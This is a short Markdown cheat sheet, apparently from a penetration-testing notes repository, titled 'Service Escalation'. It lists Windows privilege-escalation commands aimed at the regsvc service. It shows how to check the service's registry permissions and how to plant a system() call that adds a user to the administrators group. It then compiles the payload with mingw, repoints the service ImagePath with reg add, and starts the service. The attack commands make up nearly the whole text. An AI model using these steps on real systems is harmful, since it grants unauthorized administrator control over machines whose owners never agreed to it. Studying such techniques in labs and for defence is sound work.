20 lines
518 B
Markdown
20 lines
518 B
Markdown
|
# Service Escalation
|
||
|
|
|
||
|
|
* Check service control permission
|
||
|
|
```sh
|
||
|
|
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
|
||
|
|
```
|
||
|
|
* Add command to system() function inside `service.c`, e.g. add user to administrators group
|
||
|
|
```sh
|
||
|
|
cmd.exe /k net localgroup administrators user /add
|
||
|
|
```
|
||
|
|
* Compile via
|
||
|
|
```sh
|
||
|
|
x86_64-w64-mingw32-gcc service.c service.exe
|
||
|
|
```
|
||
|
|
* Upload to target and
|
||
|
|
```sh
|
||
|
|
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\Temp\service.exe /f
|
||
|
|
sc start regsvc
|
||
|
|
```
|